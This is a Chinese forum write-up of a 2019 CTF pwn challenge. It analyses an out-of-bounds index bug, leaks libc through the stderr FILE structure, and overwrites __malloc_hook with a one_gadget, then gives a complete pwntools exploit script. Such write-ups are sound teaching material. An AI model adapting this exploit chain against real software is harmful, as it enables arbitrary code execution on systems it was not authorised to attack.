首页
社区
课程
招聘
[原创]2019CTF晋级赛Q1第四题单身狗分析
2019-3-11 19:46 6607

[原创]2019CTF晋级赛Q1第四题单身狗分析

2019-3-11 19:46
6607

这里贴出个人做题分析思路,希望能帮到大家,最近在找实习,有看上的师傅帮个忙,嘿嘿!

检查安全机制


保护全开,然后自己简单运行下,看看功能什么的。
程序运行菜单如图:

静态分析

将文件,拖入IDA中分析程序逻辑

main函数


可以看到打印的提示信息,少了一句话(This is EzRak1e's first pwn),因此去看看,字符串引用,然后找到对应的函数:

可以看到有一个myinit初始化的函数,使用buf的地址来播种, 由于开了随机化,所以播种其实也是随机的。

 

然后看看其他的函数

Singdog


直接申请一个0x20的小块,最多读入20个字节,然后存入one_0这个数组中
没有什么异常

LuckyDog


先申请一个小块,这个小块开始的8个字节存入另外申请的0x20大小的块的地址,后0x18个字节是可写的content。然后存入小块的地址到two这个数组中
下文中我two数组记录的小块前8字节为ptr,后0x18字节为content

Edit_SingDog


输入索引,然后根据数组中索引所在位置是否有指针,对其指向的内容进行编辑,然后打印内容但是这个索引没有做任何的检查,存在越界,并且Read读取没有00截断,然后又打印内容,这里可以用来泄露

 

也没有问题

Edit_LuckyDog


这个根据索引,编辑索引对应的小块的content部分,以及编辑这个小块中ptr存的另外一块的内容。我当时看这个的时候就觉得有洞,因为这种情况下,如果这个小块ptr指向的地方,如果可控那其实就是任意写了,所以我觉得这里有戏,所以提前标注了

Save_SingDog


生成随机数与lucky_num取模,然后来作为下标,取对应下标的luck_dog来free掉ptr指向的块,然后将随机数与sing_num取模的结果作为sing_dog的下标,然后把one_0中的内容付给Lucky_dog中对应块的的ptr部分,从而达到拯救单身狗的目的,但是程序一开始随机数部分给我带来了困扰,后来仔细想想发现,当lucky_num和sing_num都为1的时候,结果都是0,与随机数无关,这个时候free的就是two[0]中小块的ptr指向的那块,然后将sing[0]中存的那块,存到two[0].ptr中。,这样就不用担心随机数部分了。所以我当时猜想随机数是出题人的障眼法!

利用思路构想

至此程序的逻辑都理清楚了!
当时脑子想的是:

 

程序保护全开----->需要泄露信息
数据越界可以泄露——---->需要泄露点
lucky_dog edit指针可控的话,就可以实现任意写----->怎么改luckdog的ptr部分

 

既然数组越界,我们看看,可以越界到哪儿:

 


我圈住的地方,都是IO利用常见的点,越界是可以越到这几个结构的,然后只要我们可以泄露结构的某些成员信息就可以了,先看看IO的结构吧,在GDB中:

当我们,read()8个字节把箭头指向的部分覆盖的时候,由于没有截断,程序打印信息的时候就会泄露结构体中第二个成员,然后可以得到stderr的地址,然后就可以确定libc库,然后就可以确定库地址。

 

至于怎么控制lucky_dog的ptr指针的话,其实也是利用数据越界这个思路,其实我在护网杯的shopcart的writeup写的很清楚了,其实就是指针解引用的利用。
当我们越界到luck_dog的two数组的时候,就会把two数据记录的块当做像one数据里边那样,直接编辑小块的数据,那这个时候编辑的数据其实就是ptr字段了。
前面我们泄露了库地址的话,是可以计算出mallochook的地址的,这个时候two[0].ptr指向malloc_hook,然后再编辑two[0].ptr所对应的内容为one_gadget,然后就可以拿到shell.

exp思路

越界修改,泄露stderr结构体中的成员:

拿到地址过后,可以根据地址,自己搜出对应的库,2.27
越界控制two[0]的ptr字段为malloc_hook

编辑two[0],实现修改malloc_hook为one_gadget

然后自己半自动触发one_gadget就行,直接create一个就行,当时没有写

完整exp:

from pwn import *
context.log_level="debug"
def edit(idx,content):
        p.sendlineafter(">\n","3")
        p.sendlineafter("?\n",str(idx))
        p.sendafter("luck.\n",content)
def edit2(idx,content):
        p.sendlineafter(">\n","4")
        p.sendlineafter("?\n",str(idx))
        p.sendafter("name?\n","aaaa")
        p.sendafter("name\n",content)
def create1(content):
        p.sendlineafter(">\n","1")
        p.sendafter("Name:\n",content)
def create2(content):
        p.sendlineafter(">\n","2")
        p.sendafter("Name\n","aaaa")
        p.sendafter("name\n",content)
#p=remote("211.159.175.39",8686)
libc=ELF("./apwn1.so")
p=process("./apwn")
edit(-4,"aaaaaaaa")
p.recvuntil("a"*8)
addr=u64(p.recv(6).ljust(8,'\0'))-131
base=addr-libc.symbols['_IO_2_1_stderr_']
print hex(base)
#gdb.attach(p)
one_gadget=0x10a38c+base
malloc=base+libc.symbols['__malloc_hook']
create1("aaaa")
create2("bbbb")
edit(80,p64(malloc))
edit2(0,p64(one_gadget))
#db.attach(p)

p.interactive()

至此分析结束


[培训]《安卓高级研修班(网课)》月薪三万计划

最后于 2019-3-11 19:48 被notwolf编辑 ,原因: 加一个自己帖子的链接
收藏
点赞5
打赏
分享
最新回复 (1)
雪    币: 260
活跃值: (39)
能力值: ( LV9,RANK:144 )
在线值:
发帖
回帖
粉丝
THREAD 2019-4-4 07:37
2
0
厉害!
游客
登录 | 注册 方可回帖
返回